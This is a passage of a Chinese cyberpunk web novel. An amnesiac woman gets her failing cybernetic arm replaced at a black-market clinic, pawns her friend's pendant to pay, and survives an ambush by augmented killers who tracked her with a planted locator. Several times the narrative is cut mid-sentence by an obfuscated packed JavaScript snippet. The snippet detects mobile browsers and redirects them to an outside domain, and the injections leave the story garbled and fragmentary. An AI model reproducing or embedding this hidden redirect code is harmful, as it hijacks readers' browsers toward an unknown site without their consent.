刺眼的阳光透过劣质窗帘的缝隙照在脸上的时候，路问夏才迷迷糊糊地睁开眼睛。 而且，如果不是眼花的症状导致头疼得无法睡回笼觉，路问夏甚至不想起床。 嘶—— 不知道为什么眼前的花屏此刻更严重了，那种糟糕的数据故障条都冒出来了。 得想办法快速解决了。 拖着还未完全苏醒的身体，路问夏有气无力地敲响隔壁的门。 砰砰—— 路问夏倚靠在门上等待了一会儿，并没有人来开门。 难道有事出去了？ 路问夏困得连打两个哈欠，正准备离开，倚靠的门突然被打开了。 路问夏一个踉跄，要不是维拉眼疾手快一把扶住她，她就要摔进门里。 失而复得的平衡，让路问夏清醒了不少。 “怎么了？”维拉关心道。 路问夏的眼睛牵着太阳穴还在突突跳着。 “或许，你有不记名的那种诊所可以推荐吗？”路问夏问道。 维拉的职业是雇佣兵，她对路问夏的这些顾虑更能理解。毕竟，太过高调容易给自己招来杀身之祸。 “现在这世道，对我们这种人来说，小心些总是没错的。” 路问夏点点头。 维拉点到为止，并没有继续询问路问夏想去不记名诊所的原因，只是在认真思考片刻后，给出了建议。 “滨河区旁边是更为混乱的三不管黑市，里面有几家义体小诊所。只要给钱，什么都不问，大部分毛病都能快速帮你处理了。” 路问夏觉得这地方听上去不错。 “有什么需要注意的吗？” “黑市鱼龙混杂，一定要注意安全。”维拉看了眼路问夏的小身板，不太放心地说道，“你现在这身体，我还是和你一起去吧，正巧我有一家相熟的。” “会不会有点麻烦你？” “不麻烦。”维拉拍拍自己的胸膛，“以前你总是帮我搞定义体的一些毛病，收的都是超级友情价。而且，你现在失忆症还没恢复吧？” 路问夏摇摇头，心想，估计一时半会儿都恢复不了。 “别低估黑市的危险程度。我和你一起去，有什么事儿，你至少生命安全能保证。” “谢谢。” 路问夏觉得自己这又是眼花又是力竭的身体真的很脆皮。真遇到点事，连逃跑都不够快。 - 从滨河区她们所在的公寓一路往西北方向走，大概走二十五分钟，就来到了黑市的地界。 光是直冲天灵盖的味道，以及眼前比乱更糟糕了两个数量级的混乱场面，都让维拉的保护显得尤为重要。 “啧，最近黑市怎么更脏乱差了。怪不得最近伍德警方彻底放弃这地方的巡逻了。” 饶是来过好多次黑市的维拉，再次踏进这地方也有些不适。 “彻底放弃？”路问夏疑惑。 “前一年的时候还会派一些警察来巡逻，但这一年经济下行，谁也不愿意冒着生命危险来这工作了。” 看着堆满垃圾的街道，快速经过躺在地上的流浪汉和酒鬼，闻着弥漫在空气中历久不散的烟草、屎尿和呕吐物的味道，路问夏觉得维拉陪着一起过来的决定，真的让她非常有安全感。 尤其是—— 当一个满身酒气夹杂着不知名臭味的蓬头垢面的男人想要往路问夏身上撞的时候，维拉用她有力的臂膀不动声色地挡在了自己面前。 正面对抗，谁力气大谁胜。那男子被维拉的对抗力顶了出去，踉跄后退了几步，一下跌坐在地上。 维拉领着路问夏在黑市的小巷里穿行，驾轻就熟地左转右转。 最终，两人在黑市中心地带的一栋四层小楼，停下了脚步。 “到了。”维拉朝着小诊所的招牌抬了下巴。 路问夏循着视线望去。 黑诊所的招牌还是很亮的，远远就能看到三层高位置挂着的闪着亮白色灯光的「幸福诊所」四个大字。 “幸福？” “从我第一次来黑市，这家诊所就在这儿了，希尔医生起的名字。”维拉想到什么似的，嘴角微微扬起，“她说，要让人们都幸福来着。” “天真吧？” 有点儿，但路问夏不知该怎么说。因为， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421354|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能在这样的黑市活下去的人，单纯天真可不够。 维拉领着路问夏进到了楼里。 除了进口处些微的光亮，楼道漆黑一片。这儿没有电梯也没有窗户，明明是下午两点，却让人不寒而栗。 两人沿着狭窄的楼梯上盘旋，朝着更深不可测的方向前进。 好在，到达幸福诊所所在的三层后，一道微弱的白光出现在了走廊尽头。 “您好，欢迎光临幸福诊所，需要什么服务？” 门口的小姐笑容甜美。仔细观察可以发现，她的右眼睛被机械眼代替，在问候的同时扫描着眼前的路问夏和维拉。 “体温正常。”旁边的机器发出声音。 “二位别担心，是最近发烧的人比较多。”前台解释道，“二位是什么地方难受呢？” 路问夏刚想把自己的情况简单介绍一下，就被维拉一把拉住了手。 维拉先是上下打量了一下这位前台小姐，并不打算透露太多信息， “我们找希尔医生。” 前台的微笑完全没受到影响。 “当然可以。” 随后，她就把二人领到了里面的房间，敲了敲门，推门而入。 “希尔医生，有病人找你。” 希尔从光脑前抬起头，原本冷漠没表情的脸上慢慢展现了笑容。 “维拉，你来了。”希尔朝前台小姐点了下头，“我来接待她们就好。” 希尔医生是个顶着一头红发的中年女子，看上去四十多岁左右。 可奇怪的是，希尔明明算是位义体医生，但全身能看见的地方却没有一处是机械。 从对话来看，希尔和维拉很熟稔。 “前台是新请的吗？”维拉拉开椅子坐下。 “对，之前的跳槽了。”希尔耸耸肩，“说是找到了大公司的前台工作，你老东家巨石。” “呵，没眼光。”维拉轻蔑地嗤了一声。 “怎么，这回又是受什么伤了？”希尔说回正题。 “不是我。”维拉摇摇头，“是我的邻居，她眼睛有点儿花，感觉是义体故障引发的毛病。” 路问夏点点头，看向希尔。 “行，过来我先检查一下。”希尔医生转头又朝向维拉，“你要是不放心新来的，就帮我操作一下机器？” 维拉跟上：“没问题。” 走廊狭小逼仄，头顶的灯光昏暗，甚至以一种不可捉摸的频率忽闪忽闪。偏偏希尔穿着全白的衣服，让此时的氛围莫名恐怖。 路问夏被领进了一间装有巨大圆筒形机器的房间。那巨大圆筒有点儿像是现实世界的CT，但是内部的空间能让人完全站在里面。 “你知道的，扫描费是3000星币。老客九九折，所以是2970星币。” 说着，希尔不知从白大褂的何处掏出了一个早早准备好的收费终端，扯出一个灿烂的笑容。 “老规矩，先付费后治疗。” 维拉：“......外面诊所只要2000星币。” “嗯哼，那你可以带她去大医院嘛。”希尔完美拿捏现在的情况，“不接受还价。” 路问夏好像突然明白“天真”的希尔是怎么在黑市活下去的，靠的就是对金钱的这股执着。 九九折，还不还价，这就是财迷吧？！ 路问夏觉得目前口袋里的6900星币，可能没办法支持完全治好自己。 维拉无奈地摇摇头，还是打算为路问夏的钱包争取一下。 “我都给你操作机器了，是不是该再打点折？2000怎么样？” “你！你这是狮子大开口！！” 希尔一听到进口袋里的钱要变少，立刻瞪圆了眼睛，头上的红发要竖起来似的。 “就算我和你关系好，我也是绝对不会答应的！”希尔深呼吸，艰难地从牙缝中挤出了三个字，“九八折。” 8. 抵押 便宜了30星币，能多点个菜了。 路问夏看着希尔医生坚拿着收费终端的手，对上那双坚定不移的眼神，眼前彩色马赛克应景地闪烁。 “好。”路问夏不得不付款。 “行，那你站在那个红点处吧。”收到钱的希尔心情好了不少，说道，“维拉你去帮她接一下设备线。” 路问夏乖乖地站定在红点上，看着维拉驾轻就熟地给自己把四五根不同的线给接上，然后又在机器的侧面按了两下，机器的围挡就全都升了起来。 空间压迫感一下上来了，而且机器里面特别黑，本就不多的光源在一点点消失。 “抱歉啊，机器灯坏了没修，不影响功能。”希尔大喊了一声，让路问夏放心。 然后，隔板完全封闭，连外面的声音也听不到了。 路问夏：“......” 可能这就是抠门的财迷吧。 如果不是维拉亲自给自己连的线，路问夏真的会有些慌。 但现在，她还是挺平静地等待着检查的开始。 滴滴滴—— 随着一阵机械声，蓝色的射线在机器内部从脚到头扫描着路问夏。与此同时，路问夏也能感觉到连接处那微弱的电流在释放。 整个扫描过程持续了大概一分半钟，在完全与外界隔绝的大型机器的笼罩中，每一秒都被拉长了。 终于，光明重见。 “好了，出来吧。” 希尔医生先一步离开去拿报告，而路问夏则和在门口等待的维拉随后朝诊室移动。 两人刚进诊室，前台小姐就敲门而入，受伤还端着一个盘子，里面放着三个七分满的玻璃杯。 她的笑容依旧完美，声音甜美地说道：“你们是希尔医生的朋友吧，我给你们准备了茶水。” “好，谢谢。”维拉看向前台小姐的眼光依旧警惕，用眼神示意她离开。 前台小姐很识趣地从诊室里退了出去，还顺手把门也关上了。 只是，当她回到工作岗位的时候，一通电话打了进来。 “喂？” 对面是认识的人，电话这头的前台小姐点了下头。 “是的。” 紧接着，不知道对面说了些什么，她沉默了良久。 “好的，我知道了。” 电话被挂断。 诊室里，希尔医生正看着终端里的检查报告，慢慢地滑动着各项数据。 “你左臂的义肢是不是三年多没换过了？”希尔医生也没等路问夏回答，就自顾自地继续说道，“这义肢用的是便宜货，回声科技家的。” “你的义肢故障了快一年，还一直没去管它，所以导致症状越来越严重，义体和脑部的感官接口也出现感染，直接影响了你的视觉系统。” 希尔的分析很专业，语速快但是不凌乱。 “解决的方法也很简单，我给你做个手术换掉这义肢，然后处理一下神经感染的部分就行。” 不知道为什么，路问夏觉得希尔医生的脸上又挂上了熟悉的笑容。 “手术费1万星币，价格公道，包含了新义肢的费用。而且你放心，我用的肯定不是回声科技这种便宜货，而是德洛马斯家的。” 多少？1万星币？！ 路问夏交完检查费，根本就拿不出这么多钱。 她现在口袋里只剩下可怜的3960星币了。 “便宜点儿吧，你看我都只用得起便宜货的。” 路问夏这话让希尔直接梗住。 希尔无奈扶额，转向维拉：“你就不能给我介绍点有钱人的生意么......” 维拉没正面回答，只是道：“要不，再打点折？” 希尔嘴角抽了一下：“......” 希尔沉默地打开抽屉，从里面拿出了一包小熊软糖，默默地咀嚼起来。 半晌，她认命般下定决心地对路问夏和维拉说道：“老样子，九八折，不能再多了！” 看希尔那样子仿佛从她的身上割下一块肉似的，但实际，只是少赚了200星币啊！ 九八折是9800星币，路问夏就算想同意，口袋里的钱也不够。 她有点儿无奈地叹气，拉着旁边的维拉讲悄悄话。 “我钱不够，还差5840星币。” 维拉点头，坦诚地问希尔：“她这情况还能再等等么？” 希尔没好气地看了两人一眼。 “你想永久失明就直说。但先说好，不能再降价了！” 行，这事儿不太能拖下去。 维拉看了一眼路问夏，认真地对希尔说道：“我和路加起来，能先给你8500星币。还有1300星币，我拿这个先给你抵押，纯金的。” 说着，维拉从胸前摘下了一个吊坠。那吊坠是水滴状的，侧面有一个小按钮，看起来能打开。 “你疯了？”希尔看到吊坠的一瞬间，蹭的一下站了起来，“你为了一个邻居有必要把这东西抵押给我吗？！” 路问夏皱眉，听起来，这个吊坠是维拉很重要的东西。 “路是我的朋友。”维拉纠正道，非常信任地看了一眼路问夏，“而且，我相信她很快就能把吊坠赎回来的。” 维拉继续道：“我知道你从不讲价，我不想你为难。” 希尔扶额：“你......我劝不动你。” 路问夏确认了，那吊坠对维拉来说一定意义非凡。 她的心里一酸，真挚地看着希尔：“三天，给我三天，我肯定把吊坠赎回来。” “哼。”希尔瞟了一眼路问夏，“行了，就这样吧，我给你换了。” 两个人拼拼凑凑在希尔的收费终端交了钱。 “躺这儿吧。” 希尔的动作干净利落，先是给路问夏的出问题的左手臂推了一针。 路问夏很快感觉整个躯体都失去了知觉，自己也失去了对身体的控制。 但她的视觉仍然在正常工作，所以把希尔医生的动作看得一清二楚。 咔哒—— 只见希尔医生快速操作着机械臂利落地把路问夏的左胳膊完全卸了下来，处理了一下接口的线路，然后从柜子里取出一只新的义肢给她装上。 “这是德洛马斯的平价线，虽然比不上高端产品，但我能保证坏了也不会出现这种感染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421355|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 希尔医生的水平很高，整个过程行云流水。 甚至，路问夏缓麻药的时间都比手术时间长。 而且，刚换了新义肢，路问夏就能感觉到效果立竿见影。 眼不花了，脑袋时不时的眩晕感也消失了。 怎么说呢，希尔医生敢开价一万，也是有点儿东西的！ 希尔拉开帘子，给维拉一个肯定的眼神，然后对恢复知觉的路问夏说道：“我换的义肢也有使用期限和可能的排斥反应。建议你一年内再来检查维护一下，防止再次感染。” “好的。”路问夏怕死，把这话牢牢地记在脑子里。 “三天，我等你来赎吊坠。”希尔眯起眼睛，警告道。 “一定。”路问夏坚定地点头。 两人往出口走，门口的前台小姐依旧地笑着，和两人挥手告别。 “二位慢走，这是赠送的糖果。”说着，她起身靠近，把两颗装在黄色包装纸里的硬糖递给两人。 维拉看了一眼，不动声色地接过糖果。 “欢迎下次光临。” 前台做了个请的手势，只是那没有波动变化的脸庞，总让人看着心里发毛。 一出幸福诊所，路问夏抬头看到了细细密密的雨丝。 “下雨了......” 因为雨水的反射，周围的霓虹灯染上了一层薄雾，让人看不真切，一切犹如梦境。 维拉低咒：“该死的雨季，忘记带伞了。” 路问夏叹气，“算了，毛毛雨，淋着走吧。” 刚走出五米，维拉就把那两颗糖扔进了大楼门口的垃圾箱里。 “在黑市，尤其要警惕陌生人给的东西。”维拉对路问夏说道。 “好。”路问夏点头。 她看着维拉空空荡荡的脖子，鬼使神差说道：“那个吊坠，对你很重要吧。” “嗯，算是吧。”维拉耸耸肩，“那是我在巨石工作的时候，第一个同事送给我的。后来......” 维拉在这里停顿了良久，才继续开口。 “后来她为了保护我，死了一次任务里。” “......对不起。”路问夏懊恼地垂头，“我一定会在三天内赎回来的。” “没事。”维拉笑了一下，“身外之物，我没忘记她就好。” 两人冒着细密的小雨往滨河区走了两条街，路问夏的第六感就开始隐隐报警。 ——那是一种被什么东西死死盯着的浑身发毛的感觉。 维拉对这样的场景更为熟悉。她凑到路问夏的耳边，用只有彼此能听到的声音提醒道：“小心。” 路问夏点点头，保持着警惕。 两人在走到一条街道的拐角时，默契地用停在路边的一辆汽车的后视镜，不动声色地打探了一下四周。 果然，一个不同寻常的黑色身影从反光镜里快速窜了过去。 虽然很快，但地上水塘反常的波动还是暴露了这黑色身影的踪迹。 她们这是被跟踪了！ 路问夏和维拉对视，肯定了彼此的想法。 维拉点头，给了路问夏一个安心的眼神。 9. 危险 熟悉黑市的维拉一直挑着人多的大路走。 在密集人群中直接开打，就算是在黑市，还是会多少有点儿顾虑。 因此，身后的人只是默默一路跟随，并没立刻动手。 “等会儿你跟在我身后，这是脉冲电磁枪，没有子弹数限制，你就一直按。” 路问夏吞了下口水，点头：“......好。” “瞄准敌人头和脖子就行。”维拉随口说着要点，“电磁枪有一定程度自动瞄准矫正，你差不多对准后按板机就可以。” 说着，维拉悄悄从衣服的某个口袋里拿出了一把小型手枪，在衣服和身体的遮挡下，放进了路问夏的口袋里。 维拉：“保护好自己。” “好。”路问夏点头，但口袋里揣着脉冲电磁枪的手却无法克制地颤抖着。 从和平年代的华国而来的路问夏一辈子除了小时候摸过的玩具水枪，对枪没有任何的了解。 她也很难想象自己开枪的场景，尤其是枪口正对着的，是人。 “不要紧张，我会试着处理好。”维拉感觉到了路问夏身体的僵硬，开口安慰道，“他们应该会在前面的路口动手，那儿人少。” 黑市和滨河区的交界地带一向人烟稀少。滨河区的居民避之不及，黑市里的人则大多害怕被那里的警察抓起来。 这里的小巷灯光昏暗，寂静无声。 显而易见的，这里是一路上最适合下手的位置。 路问夏抬头看了一眼亮着零星灯光的破旧废弃居民楼，心脏没来由地加速狂跳。 哒哒哒—— 身后的脚步声在逼仄环境的回声加持下，明显清晰了不少，在幽暗安静的巷子里，如同催命的咒语，在路问夏的耳边回荡着。 维拉紧紧握着路问夏的手，放慢了脚步，随时准备进入战斗状态。 “有我在，没什么可担心的。”维拉说道。 周围的声音随之加快，听脚步声，还不止一个！ 催命咒加速朝两人涌来，节奏越来越急促。 危机在靠近。 路问夏的心脏跟着越跳越快。 突然，路问夏感觉自己的手被松开了，身旁的维拉以极快的速度冲了出去。 路问夏赶紧回头，眼前的场景让她呆呆地站在了原地—— 四个穿着黑色防护服看不清正脸的人从左右两个方向朝她们包围着。 他们打扮得像是路问夏心中的未来战士，每个人的手上都拿着武器，全副武装头盔和盔甲看上去无懈可击。 最关键的是，他们此刻手上的武器已经发出了红色的射线，冷冰冰地在大地上扫着。 路问夏心想，这怎么打？ 难道自己好不容易眼睛能看清楚了，就为的是见证自己的死亡？ 心跳如鼓，紧张混杂着绝望如潮水般包围着路问夏。 但视线里，维拉出现了！ 她如同是一把锋芒毕露的利刃，直直地朝包围自己的黑衣人们刺了过去。 路问夏看呆了。 维拉今天没穿厚重的防护服，轻装上阵的她跑步速度比黑衣人快上一倍。 维拉的右手，不知道什么时候已经稳稳地握着一把左轮手枪，手指搭在板机上，一边快速移动一边朝对方瞄准着。 而她的左手，一把银色匕首藏在袖口，在雨水中反射着光泽。 “找掩体！”维拉看路问夏傻乎乎地看着不动，一嗓子把她吼醒。 路问夏猛然回过神来，以平生最快的速度朝着不远处的一辆汽车飞奔。 她为自己在如此危险的赛博世界里的疏忽大意而暗自懊恼。 砰砰砰—— 几乎是同一时间，黑衣人和维拉同时开火。 子弹穿过雨水、刺破空气，朝着彼此的身体方向飞去。 拥有全身盔甲的黑衣人不闪不躲，只是抬起手臂随意地挡了一下。 叮叮两声，子弹瞬间被反弹了出去。 而另一边，维拉迎着子弹边冲刺边灵巧地侧身闪躲。 黑衣人见没打中，直接举枪继续输出，火力压制的意图尽显，更为猛烈的枪林弹雨落下。 对比之下，维拉那把左轮手枪显得过分单薄。 维拉干脆不开枪了，没有一个多余动作地一路躲开枪子儿往前冲。 她没有因为对方的火力全开和装备完全而失了气势。 电光火石间，维拉冲到了两个黑衣人面前的位置。 另外两个黑衣人对视一眼，从两边以包围之势朝路问夏所在的方向奔来。 “举枪瞄准！”维拉紧接着下达了新的指令，“不要害怕！” 生死时刻，路问夏没有任何犹豫地将举起维拉给自己的那把电磁枪，手指凭借着本能扣在板机上。 电磁枪相较于其他□□支更为轻便简单，但对一窍不通且手无缚鸡之力的路问夏来说，已经是相当沉重的存在。 路问夏努力稳住了枪身，瞄准左方的黑衣人，一个劲地扣下扳机。 电磁脉冲落在对方的盔甲上，让左边黑衣人的动作一滞。 恰巧今天下雨，电流的威力被加大了。 路问夏知道，自己的攻击根本抵挡不住对方的攻势，但她现在必须尽可能地拖住对方的脚步。 现在能靠的必须是自己。 路问夏的心脏在胸腔剧烈地跳动，手上的动作却越发坚定不移。 另一边，维拉以轻盈的步伐穿梭在两位身形笨重的黑衣人之间。 仅用一把银色匕首，维拉找准时机，精准地将它插到了头盔和身体盔甲的中间缝隙。 那是人类血肉生长而出的地方，也是控制着中枢神经的关键。 维拉果断地将匕首刺进黑衣人的脊柱。 她手肘发力抬起，上手毫不留情地把那人的脖子扭断。 黑衣人瞬间成了一具尸体。 一切发生得太快，快到另一个黑衣人还没来得及反应过来，就成为了下一具尸体。 同样的手法，同样的果断。 匕首从黑衣人脖子上拔出来的时候，鲜血四溅，有几滴落在了维拉的脸和手臂上。 但维拉没有顾得上去擦拭，而是脚步不停地朝路问夏所在的方向狂奔而去。 此刻，路问夏身前的汽车作为掩体已经被黑衣人的机枪扫射得千疮百孔。 路问夏退无可退，无处可躲。 但路问夏不想放弃，手中的枪已经颤抖，却还是眼神坚毅地努力轮流对准两边已经近在咫尺的黑衣人。 死亡之剑已然悬于头顶。 可哪怕是蚍蜉撼树，路问夏也想博一博活下去的微小可能。 路问夏在对抗的过程中，发现对方好像并不想直接开枪打死她，更像是要把她活捉！ 这种猜测让路问夏咬牙坚持着。 下一秒，砰的一声响起，一片白色烟雾瞬间升腾而起，笼罩了周围五米的空间。 能见度瞬间降至冰点，没有头盔的路问夏被烟雾呛得眼泪鼻涕一齐落下。 路问夏下意识想继续在烟雾里开枪，可立刻反应过来什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421356|169068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，将枪放下。 ——烟雾弹。 是维拉来救她了吗？ 烟雾弹的突然到来让两个黑衣人也出现了一两秒的停顿。 噗呲—— 那是鲜血飞溅的声音。 雨中的烟雾里，红色的液体格外刺眼。 得救了？ 路问夏的心跳漏了半拍，将信将疑地等待烟雾散开。 终于，烟雾中，一个脸上带着血痕的女人正面带微笑地看着自己。 女人的手上还拿着那把银色匕首，血滴顺着刀刃滑落，稀释在雨水里，却掷地有声地落在了路问夏的心里。 果然是维拉救了自己。 路问夏呆呆地保持着躲藏的蜷缩姿势，睁着一双含泪的眸子抬头盯着维拉。 一动不动的样子，让维拉不禁晃了晃手。 维拉这才看到了自己身上的血迹，随手抹掉。 “吓哭了？” 路问夏叹了口气，从地上把自己撑起来。 “烟雾弹太呛了。”她反驳。 “害怕吗？”维拉追问。 路问夏想摇头，但躯体卡住了。 “有点儿。” “现在没事了，你做得很好。”维拉肯定地点头。 劫后余生的放松感让路问夏的身体猛然传来一阵瘫软。 刚刚距离死亡近在咫尺的感觉太过真实。 路问夏手臂撑在已经报废的汽车框架上，稳住了摇摇欲坠的虚弱身体。 半晌，路问夏的眼神落在了地上的钢铁尸体。 “他们这是......死了吗？” 维拉将黑衣人的头盔摘下，确认了一下鼻息和他们早已扩散的瞳孔。 “对，改造人的脊椎是致命弱点。” “改造人？”路问夏敏锐地捕捉到关键词。 她的视线落回尸体上，发现这几个黑衣人确实一看就是义体化程度非常高。 “仿生人被集体销毁后，把人变成机器就成了新风潮。”维拉嘴角扯出一个嘲讽的笑容，“叫——无限义体化。” “钢筋铁骨。” “没错，但人毕竟有血肉之躯的部分，那就是弱点。” 维拉没再继续解释，而是绕着路问夏的身体转了一圈。 “怎么了？” “你身上有跟踪定位。”经过仔细搜索，维拉在路问夏衣服的背后找到了一个被粘在隐蔽处的小型跟踪器。 “找到了。” 路问夏从维拉手中接过定位器，那黑色的连指甲盖大小都没有的玩意儿，竟然能如此精准追踪她。 “什么时候......”路问夏低喃，有些疑惑，“给我的糖不是都扔掉了吗？” “该死的！那糖根本就是她的障眼法！！” 维拉立刻反应了过来，解释道：“她的目标从一开始就是趁我们的注意力在糖上的时候，把定位器悄悄贴在你身上。” 路问夏不寒而栗。 “我帮你扔了！” 维拉刚想要销毁定位器，路问夏却抬手制止。 路问夏若有所思地环顾四周。 街旁的角落里，几只肥硕的灰色大老鼠正在旁若无人地啃噬地上的食物残渣。 路问夏将定位器塞进了身上唯一的一颗软糖里，用力朝老鼠堆扔了过去。 黑市流浪的老鼠胆子都比别处的大。它们嗅嗅软糖，直接吞进了肚子。 雨越下越大了。 老鼠们奔跑起来，沿着墙壁钻进了下水道，隐匿在了城市的地下。 10. 大神 将路问夏安全带回到家徒四壁的小窝后，维拉没有立刻离开。 路问夏累得顾不上脏不脏的问题，进屋就瘫倒在了沙发上。 今天路上遇袭的事情让她心有余悸。 “维拉，你知道今天那些人是谁派来的吗？” 路问夏试图拨开笼罩在自己身上的迷雾。 维拉的眉头蹙起，摊开手掌心，一片薄薄的指甲盖大小的芯片躺在那里。 芯片上面有浅浅的图标，需要在强光下才能看清—— 那是一只展翅的老鹰。 “我在他们的身上发现了这个。”维拉的脸色深沉，“猎鹰集团的身份芯片，他们是巨石集团赞助的清道夫公司，专门负责干巨石安保做不了的灰色产业。” 路问夏了然，冷哼一声：“放火烧山、杀人灭口呗？” “差不多。”维拉认真地看向路问夏的眼睛，“你到底怎么得罪他们的？” “......不记得了。”路问夏也想知道。 维拉耸耸肩，却没有回去休息，而是小心翼翼地在房子的各处，比如门口、窗户和墙角等位置，放置了一些感应警报器。 饶是如此，维拉仍然不太放心。 “不知道他们还有没有后手，以防万一，你今晚还是先暂住我这里吧，安全些。” “好。” 路问夏躺在沙发上艰难地起身。 如果不是此刻生命安全受到威胁，她真的很想倒头就睡。 - 路问夏换了个地方躺下，这次是在维拉客厅的沙发上。 她望着洁白如新的天花板，连续打了好几个哈欠。 明明这只是路问夏来到赛博世界的第二天，但她经历的所有事情加起来，却和现实生活截然不同。 路问夏消化着这个世界巨大的信息量。 她刚才简单检索了关于赛博世界的信息，了解到了这个世界的一些历史—— 二百年前，第二次人类和人工智能大战结束后，仿生人被集体销毁。 这次战争被称为第二次协议战争，宣告人类机械化改造、无限义体增殖的风潮，彻底取代了仿生人。 事实上，如果把时间再往回倒三百年，仿生机器人曾是整个星系风靡一时人人必备的产品。 从基础的家务陪伴型到看病诊断的医疗陪护型，从写作绘画的艺术家到端枪打架的军事家，一应俱全。 可当智慧生命威胁到了创造它的人类，终究还是被无情地全面销毁了。 身体的劳累让路问夏无法再思考，睡意席卷而来。 维拉洗个澡的功夫，再出来，路问夏已经进入梦乡了。 第二天，路问夏是被维拉摇醒的。 “路，醒醒。” 别说，维拉的手劲是真的大。路问夏这脆皮小身板，感觉要散架了。 但路问夏不想起床。她在将脸埋在沙发靠背的缝隙里，不愿面对窗外的天光。 维拉对路问夏的行径摇摇头。 “夏侯雪让我问你，你今天还要用虚拟网吗？” 听到这里，路问夏一下清醒。自己现在还没把维拉抵押给希尔的吊坠赎回来呢。 路问夏蹭的一下从沙发上弹了起来。 “要用！” 维拉笑道：“那我还车把你顺便送过去。” - 夏侯雪今天换了一套更华丽的印花长裙，从楼梯上走下来的时候，裙摆飞扬，如同晕出一朵又一朵花似的。 “你总算来了。” “今天有工作？”路问夏问道。 “嗯哼，有个广告要拍，我可是很忙的，好吧？”夏侯雪有着南方口音，语气傲娇又带着几分熟人间特有的嗔怪。 “那你去忙吧。” 路问夏眼神转向维拉，却发现她似乎也要走的样子。 “我也有工作，而且这个委托应该要两三天才能完成。”维拉提议道，“我觉得你要不就待这儿，比较安全。” “我这儿安保肯定比滨河区抢夺了。”夏侯雪并不知道昨天路问夏遭遇的危险，“对了，为了防止你一个人上虚拟网晕过去没人来救你，我特意把系统通知和我的终端联通了。” “谢谢。”路问夏真诚地道谢。 初来乍到赛博世界却被两个真正关心她的人包围，是她的幸运。 夏侯雪耳朵微不可察地泛了红。 “咳咳，你真想谢我就赶紧把债还了。” 是啊，自己不仅欠维拉一条吊坠，还欠夏侯雪五千星币呢。 见路问夏朝自己投来目光，维拉贴心地说道：“我的不急。” 总之，这次重新回到虫巢，路问夏肩上的担子又重了几分。 好在目前「007」顶着的是「1级」的头衔，能接的委托不再是一些令人哭笑不得的那些了。 路问夏认真地筛选着委托，优先看报酬较为丰厚的那些。 “你回来了！” 可路问夏还没选定具体要接的委托，一道洪钟般的声音就在她耳边响起。 转头，是上次差不多时间进来的「画饼不能充饥」。 不过显然，今天他对自己的眼神明显多了点儿崇敬。 “嗯。”路问夏有点儿奇怪。 「画饼不能充饥」自顾自地继续说道：“我竟然能和你这样的大神成为朋友，真是我的荣幸啊！你上次怎么不早说啊！” 大神？朋友？ 看来这位「画饼不能充饥」在自己下线后，打探到了一些她不知道的往事。 于是，路问夏嘴角带着高深莫测的笑意，刻意反问道：“是吗？” 「画饼不能充饥」这人果然没心眼，当「007」是默认了。 “对啊！我竟然敢和虫巢赫赫有名的「3级」大神「007」科普，我当时真是太天真了。你怎么都不提醒我！” “你也没问。”路问夏继续似是而非地回答着。 “大神，您今天是不是要朝着2级进发？虽然感觉一天可能有点不够，但以大神您的效率，我感觉一周内肯定能搞定！” “嗯。”路问夏言简意赅，保持高冷形象。 “那你肯定能破「巨鲸」的最快纪录了，毕竟是大神归来啊！” 从「画饼不能充饥」的只言片语中，路问夏揣测自己大概在两年前，在虫巢拥有不少的威望。 因为大神的身份，「画饼不能充饥」自行合理化了上次遇到「007」时奇怪的地方。 “对了大神，我能问一下您当初为什么消失吗？” 其实，路问夏也想知道。 她只是沉默地刷着委托界面。 “不愧是大神！一心只想着事业！”「画饼不能充饥」找到角度夸赞道。 比起探寻自己身上的大神往事，路问夏更想努力挣钱把债还上。 她现在是1级账号，一个委托的价格是之前的三倍左右。 但这些委托对路问夏来说，难度并没有什么显著的提升，精神专注的话，十分钟左右就能搞定。 换了新义肢，解决了眼花头晕的问题，路问夏感觉脑袋里的思路更清晰，手上的动作流畅而快速。 甚至，不知道是不是这具身体的本能反应，路问夏觉得自己大脑运转的速度快得有些...... 毛骨悚然。 明明只是要做下一步，可脑袋已经自动把解题的程序跑了起来，把下下步往后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 